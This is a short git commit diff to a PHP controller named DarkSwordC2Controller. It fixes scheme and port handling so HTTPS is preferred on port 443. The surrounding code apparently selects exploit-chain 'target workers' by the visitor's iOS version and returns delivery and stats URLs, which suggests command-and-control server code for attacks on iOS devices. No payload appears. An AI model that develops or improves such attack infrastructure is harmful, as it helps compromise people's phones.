This commit is contained in:
hashbro
2026-08-26 06:45:20 +08:00
parent 533b2bb9e4
commit 3a2be309dc
7 changed files with 50 additions and 9 deletions
@@ -167,6 +167,10 @@ class DarkSwordC2Controller extends Controller
$port = (int) $request->getPort();
$scheme = $request->getScheme();
}
$scheme = strtolower((string) $scheme);
if ($port === 443) {
$scheme = 'https';
}
$base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port);
$ios = $this->requestIos($request);
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
@@ -193,7 +197,7 @@ class DarkSwordC2Controller extends Controller
'http_port' => $port,
'https_port' => $port,
'tls' => $scheme === 'https',
'prefer_https' => false,
'prefer_https' => $scheme === 'https',
'stats_url' => $base.'/stats',
'stats_url_direct' => $base.'/stats',
'delivery_stats_url' => $base.'/stats',